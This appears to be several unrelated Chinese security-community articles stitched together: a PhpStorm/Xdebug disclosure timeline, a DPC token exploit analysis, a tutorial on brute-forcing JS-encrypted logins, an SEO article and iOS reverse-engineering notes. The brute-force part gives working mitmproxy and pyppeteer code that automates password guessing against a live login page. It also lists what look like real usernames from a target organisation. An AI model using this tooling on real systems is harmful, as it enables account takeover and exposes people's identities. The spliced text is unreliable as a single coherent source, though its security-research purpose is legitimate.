调试代码时慎用 `COPY VALUE AS (print_r/var_export/json_encode)`、`Evaluate array in
Console` 功能。
### 0x04 时间线
2018/06/08: 发现 `Evaluate in Console` 存在 `在 Xdebug 服务器上` 执行命令的风险。
2018/06/31 - 2018/07/01: 尝试分析 `Evaluate in Console` 的问题，发现新的利用点 `Copy Value`.
即使 `eval` 是 `Xdebug` 提供的功能，但是 `PhpStorm` 没有过滤单引号导致我们可以在 `Xdebug`
服务器上执行命令，所以整理文档联系 `[email protected]`。
2018/07/04: 收到官方回复，认为这是 `Xdebug` 的问题，`PhpStorm` 在调试过程中不提供对服务器资源的额外访问权限。
2018/07/06: 再次联系官方，说明该攻击可以用于钓鱼攻击。
2018/07/06: 官方认为用户在服务器上运行不可信的代码会造成服务器被破坏，这与 `PhpStorm` 无关，这也是 `PhpStorm`
不影响服务器安全性的原因。官方同意我披露该问题。
2018/08/16： 披露该问题。
* * * | 社区文章 |
# DPC攻击事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 事件背景
零时科技区块链安全情报平台监控到消息，北京时间2022年9月10日，DPC代币合约遭到黑客攻击，损失超73,614 BUSD,
零时科技安全团队及时对此安全事件进行分析。
## 攻击信息
攻击者钱包地址：
0xf211Fa86CBc60d693D687075B03dFF3c225b25C9
攻击合约地址：
0x2109bbecB0a563e204985524Dd3DB2F6254AB419
被攻击合约地址：
0xb75ca3c3e99747d0e2f6e75a9fbd17f5ac03cebe
## 攻击步骤
1.向被攻击合约转移代币，每次转移100 BUSD，共转移 4,200 BUSD
2.使用 50 BUSD 兑换 3.63 DPC
3.将兑换得到的 DPC与 47.4 BUSD 用于添加流动性，将获得的流动性代币质押
4.调用claimStakeLp函数多次取出0.000000000000000001
LP代币，在claimStakeLp中会将当前奖励与之前奖励相加，使得获得的奖励增加。
5.调用claimDpcAirdrop函数获得奖励20,602 DPC，将获得奖励兑换为 75,664 BUSD
## 漏洞核心
DPC中通过质押LP代币获得奖励，攻击者通过调用合约中claimStakeLp 函数使得获得的奖励增加。
函数claimStakeLp()
中计算获得的奖励是将之前的奖励与getClaimQuota()计算出的奖励累加，而在函数getClaimQuota()中也进行了一次ClaimQuota的累加计算（下图），攻击者通过多次调用claimStakeLp函数使得获得的奖励增加。
第一次调用claimStakeLp函数获得奖励
多次调用claimStakeLp函数后获得奖励
## 资金来源
通过混币平台Tornado.Cash转入 10 BNB
## 资金流向
攻击者通过重复攻击共获利约73,614 BUSD，目前资金仍在攻击者钱包中。
## 总结及建议
此次攻击主要原因是对于奖励机制设置出现漏洞，使得奖励数额成倍数增加，且奖励数额计算时与调用claimStakeLp()函数时传入的数字无关，因此攻击者可以用一个较小的金额进行多次调用，实现获得大额的奖励。
## 安全建议
建议计算中涉及到函数调用时需要详细检查变量数值变动情况，避免数值被重复计算。
建议项目方上线前进行多次审计，避免出现审计步骤缺失。 | 社区文章 |
# 0x00 前言
爆破在渗透测试过程中是不可缺少的一环，而在web后台的爆破中可能会受到js加密的影响，对爆破造成困难，此篇文章就是为了解决这个问题。
# 0x01 常规解决方案
常规的破解js加密思路是寻找js加密函数自行处理字典，如以下案例：
登录抓包发现账号密码全部加密传输
于是寻找js加密函数：
阅读js发现加密流程为调用des.js的strEnc函数传入strEnc(password,'1','2','3');完成加密。
遂拷贝下目标的des.js，并将密码字典通过python处理为js的数组格式：
f = open("users.txt","r")
a=[]
for i in f:
a.append(i.strip())
print(a)
插入自己的html中：
<!DOCTYPE html>
<html>
<head>
<script src="./des.js"></script>
</head>
<body>
<script type="text/javascript">
let arr= ['', 'muqingliang', 'fanxiaojun2', 'ph_kanglijun', 'jc_zhangjing', 'dingwen', 'huyanhong', 'shenxiangxian', 'zhoujiayi', 'jiang_xiaolei', 'ck_baihao', 'dengjianping', 'jc_yanglinjie', 'jc_daijiarong', 'xuzihao', 'ck_yangjinmin', 'ckbgs', 'yaoxianfeng', 'ck_xijiayi', 'lianbo', 'gaofeng', 'qiyunmei', 'xurui', 'liuyu', 'liangdong', 'zhangjingdong', 'chenyijiang', 'xuzheng', 'liyi', 'liyinsheng', 'gaowei', 'wangchao', 'duxingyi1', 'liuzhiwu', 'huangyanfang', 'jc_guanjunkun', 'yangdi', 'liyintao', 'changguofeng', 'gongjingyun', 'zhangyunsheng', 'wangyan', 'yujianning', 'liyuan', 'weimin', 'lilihua', 'dongyoujuan', 'wenjia', 'xuxiaosong', 'xijiayi', 'zhuanglu', 'zhangwei', 'houyunpeng', 'lijikun', 'sunrui', 'kanglijun', 'wangzhuo', 'mazheng', 'fanxiaojun', 'tangyuqiang', 'heting', 'dengxiaoyan', 'zhangxiaolei', 'tianshuqun', 'yangmengfei', 'mayuanyuan', 'lvyi', 'liujiayun', 'duxingyi', 'yuyuan', 'yangyuechen', 'wangjunyi', 'daili', 'muyongjuan', 'dongqiongmei', 'zhouquan', 'ah_liushulei', 'dingchen', 'dongcongming', 'hequnyan', 'weiping', 'lijingwen', 'xiaoyang', 'shanwen', 'huangyi', 'zhangyang', 'zhaoxingkai', 'sunyanfang', 'jiangyufeng', 'lilian', 'songxiaojiang', 'luojun', 'lihairong', 'yangyun', 'liyongji', 'tanzhijun', 'wangjuxian', 'lidong', 'wangliping', 'chenmengtang', 'lidong', 'yangyuan', 'zhangting', 'jc_wangyan', 'yangtianfu', 'huying', 'mxgs', 'yanzelan', 'wangjie', 'erjianyong', 'wangning', 'jc_mali', 'suhaiyan', 'heyanfen', 'zhanglejia', 'huangyong', 'wuliwei', 'liuhailin', 'zhouyang', 'jiangjun', 'guanxiaodong', 'liu_min', 'liushulei', 'hekunyang', 'liangjie', 'zhangpengjie', 'wangruitao', 'nahan', 'yangli', 'caoyingkun', 'shaoshidian', 'huxianxiang', 'yangyanping', 'zhaoyuan', 'yangjinmin', 'xingzhihong', 'liangling', 'chenluou', 'luozitao', 'zhengliyuan', 'maliying', 'dairuoxia', 'xieyu', 'wujiang', 'baihao', 'yangzhiyuan', 'liuraolin', 'luofushun', 'dingfupei', 'zhangfan', 'jjgshq', 'ruanzhen', 'liduolian', 'lixiaomei', 'qinzihan', 'shilin', 'mazhaosheng', 'pujinyi', 'caichenhang', 'yangxinling', 'yanghao', 'zhangyi', 'xuzhihui', 'jc_huying', 'liqi', 'jc_huangyanfang', 'sujun', 'shisuli', 'zhangjing', 'zhouganjie', 'ganlu', 'mali', 'qiulisheng', 'huangqiong', 'zhougensheng', 'yanglinjie', 'wangwei', 'fujing', 'chenfeilong', 'lihuifen', 'guanjunkun', 'huyidan', 'daijiarong', 'yejunming', 'tanli', 'xiaoyuantai', 'licunzhi', 'xuchen', 'admin', 'jufengxia', 'yangjiaojiao', 'lian', 'xiongshufang', 'niyunfeng', 'liuying', 'liguiqin', 'lichunbi', 'huangmingcong', 'weiyumeng', 'wangxiling', 'chenlicun', 'pingqiming', 'jiangxiaolei', 'jc_zhangyang', 'tz_huangqiong', 'ganenxian', 'apptest', 'tianyuemei', 'lihongjuan', 'huangchunhong', 'panying', 'anrui', 'yangtianrui', 'hanqicen', 'hehui', 'zhangjianrong', 'zujiayu', 'liuyunzhou', 'zhengquanhong', 'liling', 'weihongli', 'wanglei', 'zhangwenxia', 'chenxiaodong', 'wangsailun', 'mochuan', 'liwenwei', 'zhangyuxi', 'wangzhongbin', 'daixunlin', 'fanhongwen', 'changyanping', 'jc_huyidan', 'niumingzhong', 'liyan', 'shaotao', 'lilinfei', 'yangqiwei', 'tangruojing', 'pengyan', 'wenhongwei', 'lianghong', 'zhangxue', 'liyongsheng', 'liaiying', 'shenxiaoqing', 'jc_wanghai', 'wangruiqi', 'wangxianglu', 'yehong', 'chenhanming', 'yangjingyu', 'zhengpeng', 'wangxinru', 'yangshutang', 'yanghaoyun', 'liyanchun', 'ph_muyongjuan', 'tangbenrong', 'zhangchunxiang', 'dengbaoceshi', 'liqiong', 'yangjing', 'wanghai', 'zhang_jing', 'weibin', 'zheng_peng', 'bzfgs', 'yangxijia', 'zhouyan']
//var pwd="";
for(let i=arr.length;i>=0;i--){
password = arr[i];
password = password + "";
//document.write(password);
pwd = strEnc(password,'1','2','3');
document.write(pwd);
document.write("<br>
");
}
</script>
</body>
</html>
打开html即可获得加密后的字符串：
然后burp像平常一样爆破即可
# 0x02 采集器
此类方法虽然有效，但是在其他实战环境中难免遇到js混淆或者js极其难以读懂的情况。为了解决这种情况，采集器的想法浮现出来。可以利用python的pyppeteer模块完成模拟浏览器的明文密码输入，再利用python的mitmproxy模块进行流量截取，提取出js加密后的内容即可。说干就干
# 0x03 mitmproxy
首先需要完成流量截取的功能，mitmproxy是用于 MITM 的 proxy，MITM
即中间人攻击。用于中间人攻击的代理首先会向正常的代理一样转发请求，保障服务端与客户端的通信，其次，会适时的查、记录其截获的数据，或篡改数据，引发服务端或客户端特定的行为。
这里采用它的正向代理模式，使用针对http的生命周期
def request(self, flow: mitmproxy.http.HTTPFlow):
完成post body的截取处理
观察请求包后
构造程序如下
gather.py:
from mitmproxy import ctx, flowfilter
class Recorder:
def request(self, flow):
re = flow.request.get_text()
string = re.split('&')# 从&分割开
for secret in string:
if 'password' in secret:# 提取出password=balabala
s = secret.split('=',1)[1:]# 提取出等号后的内容
f = open("pass.txt", "a")# 追加写入文件
f.writelines(s[0] + "\n")
f.close()
addons = [
Recorder()
]
mitmweb -s 1.py即可开启监听，默认监听在8080端口（8081端口为流量的历史记录）
手动爆破3次看看：
打开pass.txt即可发现加密后的字符串被提了出来
# 0x04 pyppeteer
提取器完成，下面编写怎么输入明文密码模拟浏览器请求。
利用比selenium更好用的pyppeteer爬虫模块。Puppeteer 是 Google 基于 Node.js 开发的一个工具，有了它可以通过
JavaScript 来控制 Chrome 浏览器的一些操作。其 API 极其完善，功能非常强大, Pyppeteer是Puppeteer Python
版本的实现。
观察html， 构造代码如下：
proxier.py:
import asyncio
from pyppeteer import launch
import time, re
async def main():
url = "https://xxx/xxx/login.htm"
f = open("pass.txt", "r")
for password in f.readlines():
browser = await launch({'headless': False,"userDataDir":r"C:\\Users\\Administrator\\Desktop\\2\\tmp", 'args': ['--no-sandbox',"--ignore-certificate-errors", "--allow-running-insecure-content",'--proxy-server=127.0.0.1:8080'], "ignoreHTTPSErrors": True })
page = await browser.newPage()
await page.setJavaScriptEnabled(enabled=True)
await page.setUserAgent(
'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko'
)
await page.goto(url)
password = password.strip()
await page.type("input[id=username]", "test")
await page.type("input[id=password", password)
await page.type("input[id=code", "0000")
await page.click('button[type="submit"]')
await page.waitFor(1000)
# res = await page.content()
await page.close()
await browser.close()
asyncio.get_event_loop().run_until_complete(main())
它会打开chorme找到input标签的位置插入pass.txt中的每一行，并将流量代理至127.0.0.1:8080。mitmproxy收到流量会将加密后的密码字段提取出来做成新的字典（有些情况可能因为网络原因需要做适当的delay）
# 0x05 实验效果
mitmproxy开启监听：
pyppeteer模拟爆破登录：
喝杯咖啡 等待明文字典跑完
proxier.py根目录即可采集生成密文字典： | 社区文章 |
# 网站的SEO以及它和站长工具的之间秘密
|
##### 译文声明
本文是翻译文章，文章来源：小胡子哥
原文地址：<http://www.barretlee.com/blog/2015/09/02/webmaster-in-baidu-and-google/>
译文仅供参考，具体内容表达以及含义原文为准。
博客迁移没有注意 URL 地址的变化,导致百度和 google
这两只爬虫引擎短时间内找不到路。近段时间研究了下国内最大搜索引擎百度和国际最大搜索引擎google的站长工具,说下感受。
* 百度的站长工具地址:<http://zhanzhang.baidu.com/dashboard/index>
* google 的站长工具地址: <https://www.google.com/webmasters/tools/home>
最近墙的比较厉害,google 不一定能访问进去(我平时用的 GreenVPN,还挺不错的,速度快,支持的国家也多)。
站长工具的作用是为了辅助开发者,针对自己的网站做出更加合理的网页布局和代码优化,以便让 spider
更好地理解网页,从而将最准确的信息送达到用户的荧屏上。它对搜索引擎和开发者是双赢的。
Web 发展极快,由于客户端厂商纷纭加之开发者没把重点放在 web 标准上,直到 2014 年的 10 月底才有了统一的标准。用户输入关键词,搜索引擎要在
0.1s 内将网络上的资源汇聚起来,这个过程中计算的开销、数据整合的开销是极大的,如果我们开发的网页不能让 spider
准确理解,最后的结果就是,写的东西很难出现在用户面前。
**搜索引擎对网页的理解**
摸索两个站长工具,感触最深的是结构化数据(Structured
Data),结构化数据不是把文章段落分清楚、标题写清楚,实际上你文章段落分的再清晰,爬虫机器也不知道你在表达什么,所以数据结构化是给爬虫看而不是给人看的。HTML
标签的数量很有限,有限的几个标签没办法表达网页上每一个元素的含义,比如一个小的图标、一个广告位、一个蒙层等,于是网页上出现了很多 class 名、id
名来标记一个元素。这些内容的统一让爬虫理解的略微透彻了一些,比如:
.banner: 一张banner广告位
.sidebar: 侧边导航栏
.nav: 主导航
.icon: 页面小图标
.post: 一篇文章
.post-title: 文章标题
然而搜索引擎聚合的网页太多,当这些五花八门的 class 出来之后,它又开始迷茫了,难以较好的聚合分类。所以出现一个叫做 Schema
的东西,它用来表示一个结构化数据结构,可以看下面一个 schema 示例:
<div itemscope itemtype="http://schema.org/Person">
<span itemprop="name">李靖</span>
<img src="http://barretlee.com/avatar.png" itemprop="image" />
<span itemprop="jobTitle">攻城师</span>
<div itemprop="address" itemscope itemtype="http://schema.org/PostalAddress">
<span itemprop="streetAddress">文一西路969号</span>
<span itemprop="addressLocality">浙江杭州</span>
<span itemprop="postalCode">310000</span>
</div>
<span itemprop="telephone">(0571) 123-4567</span>
<a href="mailto:[email protected]" itemprop="email">[email protected]</a>
李靖的主页: <a href="http://barretlee.com" itemprop="url">barretlee.com</a>
</div>
在一个需要表达的块上加上 itemscope 属性和一个 itemtype 属性,itemtype 是有固定值的,具体可以参阅 schema.org
的说明。然后在块内添加详细的说明,使用 itemprop 标注。整个操作十分简单,略微麻烦的是需要对照 schema 的官方网站填写规定的 itemprop
字段。
结构化数据,通常也可以称之为元数据,这些数据附着在网页文本信息内,厘清了页面上每个部件的功能、属性和意义。当机器进入网页的时候,能够像人一样,一眼瞄出要表达的内容。关于
schema ,以前翻译过一篇文章 SEO:让搜索引擎对你的网站更有亲和力。
**SEO和站长工具的之间秘密**
除非搜索引擎能够猜到你要搜索的具体的 URL
地址,一般地,它都会从自己的数据索引库中扒拉数据。对于权重高、更新频率高、原创内容多的网站,搜索引擎会十分勤快的爬最新内容。那么,如何让搜索引擎知道网站上有多少网页便成了一件重要的事情。
我们经常会听到一个叫做”网站地图”的东西。有些网站会在自己的站点中添加一个页面,这个页面包括了整站的重要入口,那么这个页面就是该页面的网站地图。这些地图是给人看的,如果只想给爬虫引擎看,可以将所有的链接按照一定的格式放到
sitemap.xml 文件中,然后把这个文件放到网站的根目录下,如 <http://www.barretlee.com/sitemap.xml>。
而最重要的还是 robots.txt 这个文件,它是所有引擎约定俗成的一个文件,比如我的网站中用到的
<http://www.barretlee.com/robots.txt> ,其内容为:
Sitemap: http://www.barretlee.com/sitemap.xml
User-agent: *
Allow: /
它告诉搜索引擎,网站地址的位置、允许蜘蛛爬取的内容等,它是一个协议。最近,貌似还多了一个
humans.txt,也是一个比较有意思的文件,可以在这里了解它:http://www.humanstxt.org.cn/,它可以描述一些站点和团队的故事。
SEO上,站长工具主要分为两个方面,一个是对网页的抓取,一个是对网页的分析。
网页的抓取在百度站长工具中体现的比较多,而网页的分析,诸如数据标注、结构化数据等,百度做的还比较搓,目前还在内测阶段,需要发送邮件才能申请权限。看到百度站长工具页面上的几个数据标注示意图,揣测应该比
google 弱一百倍,所以我还是重点说说 google 的吧。
**网页的抓取**
这块上,两个站长工具都是强调让开发者把网站地图显式的暴露给搜索引擎,提供了各种分析网站地图准确性合理性的工具,搜索引擎如果发现你的网站上一个地址时有时无,就会觉得你不可信有点飘渺。所以一旦网页因为改造或迁移导致页面链接丢失,可以在站长工具中填写这些死链。
不要贪婪的让搜索引擎不停的爬取你的网站,如果它多次过来发现内容是一样的,它也会很伤心的离开。而如果它发现每次过来爬你的内容都能找到很有意思的、从来没发现过的东西,它会对你越来越感兴趣,甚至日久天长它会给你定型、定位,然后权重会越来越高。在站长工具上都是可以设置的。
**网页的分析**
google
的数据化标记做的实在是太赞了!输入网址,它会打开你的网页,设置你要标记的类型,比如文章。选中页面上的元素然后标记。比如选中文章的标题,选中之后有一个菜单,在菜单上选择
title,选中作者名字,然后菜单上选择 author,一个页面标记完了之后,他会分析整站的所有页面,如果结构相似,也会自动标记其他页面。
整个标记完成之后,google 就知道你整个网站的信息架构了,下次要做的就是对这些信息内容做匹配和分类。所以我们可以看到,个人博客在 google
中的搜索是极其靠前的,因为页面的信息结构简单,即便你不去标记,它爬取多次之后也能自己理解。
对比百度和 google
,两者如同屌丝和高富帅。不过高富帅总是要越墙才能看到,所以我平时使用的依然是百度分析。百度分析和百度站长工具还是不一样的。百度对网页流量的分析和搜索词汇的分析还是挺精准,也很有参考价值。
**小结**
本文对 SEO 相关的东西做了一个简要的概述,同时也概括了搜索引擎做的一些工作,知识量有限,难以面面俱到,如有错误还请斧正。
本文链接:<http://www.barretlee.com/blog/2015/09/02/webmaster-in-baidu-and-google/>
–EOF– | 社区文章 |
## 0x01 工具
首先是要用到的工具，中间主要用了ida，hopper和lldb
* dumpdecrypted: 将苹果加密过的app砸壳
* class-dump: 导出MachO文件里ObjC类及方法定义
* CydiaSubstrate: 将第三方动态库注入进程
* Cycript: 用js语法写ObjC方法
* Theos: 越狱插件开发工具
* IDA: 反汇编、反编译工具
* Hopper: OSX反汇编、反编译工具
* Debugserver + LLDB: 动态调试器
## 0x02 ARM指令
arm是RISC结构，数据从内存到CPU之间移动只能通过L/S指令来完成，就是ldr/str指令
ldr 把数据从内存移到cpu
str 把cpu的数据数据转移到内存
lldb读取内存的数据，memory read <start> <end>
ldr r0, 0x12345678 //把0x12345678这个地址中的值存放到r0中
ldr r0, =0x12345678 //把0x12345678这个地址写到r0中
例子：
COUNT EQU 0x40003100 //定义一个COUNT变量，地址是0x40003100
...
LDR R1,=COUNT //将COUNT这个变量的地址，也就是0x40003100放到R1中
MOV R0,#0 //将立即数0放到R0中
STR R0,[R1] //将R0中的值放到以R1中的值为地址的存储单元去
B 跳转指令
BL 带返回的跳转指令
BLX 带返回和状态切换的跳转指令
BX 带状态切换的跳转指令
BLX指令从ARM指令集跳转到指令中所指定的目标地址，并将处理器的工作状态从ARM切换到Thumb状态，该指令同时将PC的当前内容保存到寄存器R14，因此，当子程序使用Thumb指令集，而调用者者使用ARM指令集，可以通过BLX指令实现子程序的调用和处理器工作状态切换，同时，子程序的返回可以通过将寄存器R14的值复制到PC中来完成。
R0-R3: 用于函数参数及返回值的传递，超过4个参数，其它参数存在栈中，在ARM中栈是向下生长的，R0还可以作为返回值。
R4-R6, R8, R10-R11: 没有特殊规定，就是普通的通用寄存器
R7: 栈帧指针，指向母函数与被调用子函数在栈中的交界。
R9: 在iOS3.0被操作系统保留
R12: 内部过程调用寄存器，动态链接时会用到，不必深究
R13: SP(stack pointer)，是栈顶指针
R14: LR(link register)，存放函数的返回地址。
R15: PC(program counter)，指向当前指令地址。
ADC 带进位的加法
ADD 加法
AND 逻辑与
B 分支跳转，很少单独使用
BL 分支跳转，跳转后返回地址存入r14
BX 分支跳转，并切换指令模式（Thumb/ARM）
CMP 比较值，结果存在程序状态寄存器，一般用于分支判断
BEQ 结果为0则跳转
BNE 结果不为0跳转
LDR 加载寄存器，从内存加载到寄存器
LDRB 装载字节到寄存器
LDRH 装载半字到寄存器（一个字是32位）
LSL 逻辑左移 这是一个选项，不是指令
LSR 逻辑右移 这是一个选项，不是指令
MOV 传送值/寄存器到一个寄存器
STR 存储一个寄存器，寄存器值存到内存
STRB 存储一个字节
STRH 存储一个半字
SUB 减法
PUSH POP 堆栈操作
有时候需要
db ；定义字节类型变量，一个字节数据占一个字节单元，读完一个偏移量加1
dw ；定义字类型变量，一个字数据占2个字节单元，读完一个，偏移量加2
dd ；定义双字类型变量，一个双字数据占4个字节单元，读完一个，偏移量加4
IDA给某个位置命名的时，它会使用该位置的虚拟地址和表示一个该地址的类型的前缀进行命名：
sub_xxx ；地址xxx处的子例程
loc_xxx ；地址xxx处的一个指令
byte_xxx ；位置xxx处的8位数据
word_xxx ;位置xxx处的16位数据
dword_xxx ;位置xxx处的32位数据
unk_xxx ;位置xxx处大小未知的数据
关于sp，bp等栈寄存器的解释：
SP is stack pointer. The stack is generally used to hold "automatic" variables and context/parameters across function calls. Conceptually you can think of the "stack" as a place where you "pile" your data. You keep "stacking" one piece of data over the other and the stack pointer tells you how "high" your "stack" of data is. You can remove data from the "top" of the "stack" and make it shorter.
<https://www.zybuluo.com/oro-oro/note/137244>
<http://cryptroix.com/2016/10/16/journey-to-the-stack/>
<http://en.citizendium.org/wiki/Stack_frame>
虽然是英文，但是看起来要比中文易懂
ida里面有三种颜色的箭头:
1. 蓝色，顺序执行
2. 绿色，条件为(YES)
3. 红色，条件为（NO）
## 0x03 lldb使用方法
lldb操作相关指令
image list -o -f 查看进程在虚拟内存中相对模块基地址
br s -a [addr] 打断点
breakpoint delete <breakpoint> 删除断点
s/n 是针对源代码
br list 列出所有断点
br dis 1 禁用序号为1的断点
jump <address> 跳转到新地址
ni 断点的单步之行, netxi(next instruction简写:ni)
si stepi(step instruction 简写:si)
display /10i $pc-16 显示当前PC附近的10条指令
si会进入函数之行，ni执行完但是不会进入函数内，执行过程中可以利用display /i $pc来看下一个执行的instruction是什么
c 放开执行该断点
p 输出某个寄存器的值
p $r0 输出寄存器的内容
也可以将一个地址所存放的值进行打印
p/x $sp 就是输出$sp指针所指的地址处存放的值，以16进制表示
po (char *)$r2 po打印Object-C对象
register read --all 读取所有的寄存器内容
thread list ／／打印所有线程
thread select ／／跳到某个线程
thread info ／／输出当前线程信息
frame variable ／／打印当前栈所有变量
frame variable '变量名' ／／打印某个变量
frame info 查看当前帧栈信息
frame select 跳到指定帧栈
frida的常见用法：
* hook函数(IOS中theos具备的功能）
* 记录函数执行日至(IOS中theos具备的功能）
* 调用函数（IOS中cycript具备的功能）
* 读写内存（类似调试器的功能）
lldb:
* lldb在object-c类对象所有函数设置断点: `breakpoint set -r '\[ClassName .*\]$'`
常用：
breakpoint set --name <method-name>
"set a breakpoint on a given function name, globally. eg.
breakpoint set --name viewDidLoad
or
breakpoint set --name "-[UIView setFrame:]"
break set --selector <selector-name>
"set a breakpoint on a selector, globally. e.g.,
breakpoint set --selector dealloc
bt //查看堆栈
frame select <framenum>
thread list
expression $r6 //查看r6寄存器的值
1. 加参数可以更改显示方式，如/x十六进制打印
2. po一般用作查看对象信息
3. po的命令是“expression -O -"命令的别名
第一次使用malloc_info需要在lld里面导入lldb.macosx.heap
malloc_info -s <address>
memory read <start_address> <end_address> 读取内存的值
### 0x04 Hopper基本使用
hopper和LLDB所选择的ARM架构位数得一致，要么是32位，要么都是64位，计算公式：
hopper里面显示的都是"模块偏移前基地址",而lldb要操作的都是"模块偏移后的基地址"，所以从hopper到lldb要做一个地址偏移量的转换。
偏移后模块基地址 ＝ 偏移前模块地址 + ALSR
偏移前地址从Hopper看:
ALSR偏移地址从LLDB看:
由上图可知ASLR偏移：30000
偏移后基地址为：34000
(从hopper的login搜索找到方法［WCAccountPhoneLoginControlLogic initWithData:]：
查看偏移基地址：
则偏移后的地址： 14B6A66 + 30000 = 14E6A66
设置断点动态调试，使用：
br s -a 0x 14E6A66
### 0x05 Cycript
安装Cycript
dpkg -i cycript_0.9.461_iphoneos-arm.deb
dpkg -i libffi_1-3.0.10-5_iphoneos-arm.deb
cycript -p <pid>
步骤：
安装cydia之后的ssh，然后mac本机：
brew install usbmuxd
iproxy 2222 22 //iphone的22端口转发到本机的2222
ssh root@localhost -p 2222 //默认密码 alpine
cycript:
[UIApp description]
[[UIApp keyWindow] recursiveDescription].toString() //输出如下
<UIView: 0x18b1bd60; frame = (10 0; 20 50); layer = <CALayer: 0x18b1be20>>
| | | | | | | | | <UIImageView: 0x18b1bf90; frame = (30 13.5; 10 10); opaque = NO; userInteractionEnabled = NO; layer = <CALayer: 0x18b1b5f0>>
| | | | | | | | | <UITableViewLabel: 0x18b1c070; frame = (44 10; 218 17); text = 'UIView'; userInteractionEnabled = NO; layer = <_UILabelLayer: 0x18b1c190>>
//查看某个UI：
[#0x18b1c070 _ivarDescription].toString()
[#0x15baf520 nextResponder] 某个地址的调用方法
[[UIApp keyWindow] _autolayoutTrace].toString()
//choose传递一个类，可以在内存中找出属于这个类的对象
／／输出对象的属性：
方法1： 简单基本获取方法。
*controller（直接在对象前面加个*）
方法2：方法一无法获取，就使用方法2
[i for (i in *UIApp)]
方法3：建议方法三，方法三能获取到更多
function tryPrintIvars(a){ var x={}; for(i in *a){ try{ x[i] = (*a)[i]; } catch(e){} } return x; }
function printMethods(className, isa) {
var count = new new Type("I");
var classObj = (isa != undefined) ? objc_getClass(className)->isa : objc_getClass(className);
var methods = class_copyMethodList(classObj, count);
var methodsArray = [];
for(var i = 0; i < *count; i++) {
var method = methods[i];
methodsArray.push({selector:method_getName(method), implementation:method_getImplementation(method)});
}
free(methods);
return methodsArray;
}
cycript -p Springboard 或 cycript -p pid
#在内存中找一个MD5Signater类的实例对象
choose(MD5Signater)
#调用0x166b4fb0处的对象的show函数
［#0x166b4fb0 show]
#对show函数传入参数3344
[#0x166b4fb0 show:3344]
#新建一个MD5Signater类的实例，并调用它的setSecret函数，传入参数1
obj = [MD5Signater alloc]
[#0x146f1a30 setSecret:1]
在Objective-C中，［someObject somemethod]的底层实现，实际上是objc_msgSend（someObject,someMethod）,其中前一个是Objective-C对象，后者则可以强制转换成一个字符串。
在Objective-C里面，成员方法与类方法的区别：
* 成员方法是以减号 "-" 开头 //成员方法必须使用对象调用
* 类方法是以加号开头 "+" //类方法可以直接使用类名调用
### Objective-C方法名的问题
- (double)pi;
方法名就是pi
- (int)square:(int)num;
带参数的方法名有点特殊，冒号后面一定是参数，可以理解为，有几个冒号就有几个参数，把空格后面到参数前面的内容拼起来就是方法名。所以这个方法名是square:（注意冒号）
－ (int)addNum1:(int)num1 addNum2:(int)num2;
根据上面的方法，这个方法名是addNum1:addNum2:
所以根据上面方法名的问题，在cycript里面调用的时候，是这样：
cy# choose(PARSEPedometerInfo)
[#"PARSPedometerInfo<0x12f22cd60>: \n integration=1541 \n iPhone=1541 \n watch=0 \n heartRat=0\n at:2017-12-26 16:00:00 +0000",#"PARSPedometerInfo<0x12f406c90>: \n integration=1541 \n iPhone=1541 \n watch=0 \n heartRat=0\n at:2017-12-26 16:00:00 +0000"]
也即找到两个PARSPedometerInfo类的对象,随便用其中一个即可
[#0x12f22cd60 setIntegratedSteps:66666]
setIntegratedSteps是减号开头的函数，如果是+号开头的函数用法则[className funcName:6666]，如下面的函数是+号开头的函数，可以直接调用这个类中的函数，而不用创建这个类的实例：
cy# [PARSCryptDataUtils encryptWithServerTimestamp:"18013790233"]
带减号的函数，要实例化之后才可以调用
带加号的函数，可以直接调用
这一部分主要参考<http://3xp10it.cc/%E4%BA%8C%E8%BF%9B%E5%88%B6/2017/12/25/ida%E9%80%9A%E8%BF%87usb%E8%B0%83%E8%AF%95ios%E4%B8%8B%E7%9A%84app/>文章
### 0x06 调试流程
如果要使用lldb调试越狱设备上的进程，需要先将connect的端口映射到本地，以1234端口为例：
iproxy 1234 1234
然后打开lldb，输入以下命令：
process connect connect://localhost:1234
连接越狱设备，输入：
debugserver *:1234 -a <pid>
只要越狱设备上的debugserver（重签名过的）正常运行，就可以通过lldb进行远程调试
越狱设备第一次连接xcode的时候会在/Developer/usr/bin目录下生成一个debugserver，这个debugserver在ios里面运行会失败需要使用ldid签名，需要两个东西：
* ldid <http://7xibfi.com1.z0.glb.clouddn.com/uploads/default/668/c134605bb19a433f.xml>
* xml（文件） <http://joedj.net/ldid>
xml文件保存为`ent.xml`，然后签名：
ldid -Sent.xml debugserver
然后回传到ios上面即可，使用wget或者scp（scp失败，这里是用的是wget）
debugserver 0.0.0.0:1234 "SpringBoard"
(lldb)process connect connect://<ios>:<port>
### Object-C 的一些基础知识
在Objective-C中的“方法调用”其实应该叫做消息传递。
以objc_msgSend函数为例子，
[person sayHello]
可以解释为调用person对象的sayHello方法，但是如果从Object-C的Runtime角度来说，这个代码世纪是在发送一个消息，这个代码，编译器时机会将它转换成这样一个函数调用：
objc_msgSend(person,@selector(sayHello))
第一个参数是要发送消息的实例，也就是person对象。objc_msgSend会先查询它的methodList方法列表，使用第二个参数sayHello
苹果文档这样写的
id objc_msgSend(id self, SEL _cmd, ...)
将一个消息发送给一个对象，并且返回一个值。其中，self是消息的接受者，_cmd是selector，... 是可变参数列表。
在现代操作系统中，一个线程会被分配一个stack，当一个函数被调用，一个stack
frame（帧栈)就会被压到stack里，里面包含这个函数设计的参数，局部变量，返回地址等相关信息。当函数返回这个帧栈之后，这个帧栈就会被销毁。
_text:0001D76A MOV R0, #(selRefHTTPMethod - 0x1C776) ; selRef_HTTPMethod
_text:0001D772 ADD R0, PC ; selRefHTTPMethod
__text:0001D774 LDR R1, [R0] ; "HTTPMethod"
__text:0001D776 MOV R0, R10
_text:0001D778 STR R1, [SP,#0xAC+varA0]
_text:0001D77A BLX _objcmsgSend
__text:0001D77E MOV R7, R7
_text:0001D780 BLX _objcretainAutoreleasedReturnValue
__text:0001D784 MOV R4, R0
_text:0001D786 MOV R0, #(selRefsetRequestMethod_ - 0x1C794) ; selRef_setRequestMethod_
__text:0001D78E MOV R2, R4
0001D77A处的selector为HTTPMethod，在functions windows里可以搜到这个函数，函数在执行前把调用的对象存储在R0中。
__text:0001D774 LDR R1, [R0] ; "HTTPMethod" ／／把方法名放到R1中
__text:0001D776 MOV R0, R10 //R0赋值为R10所在的值，此处R10位HTTPMethod这个方法归属的类的指针之类。
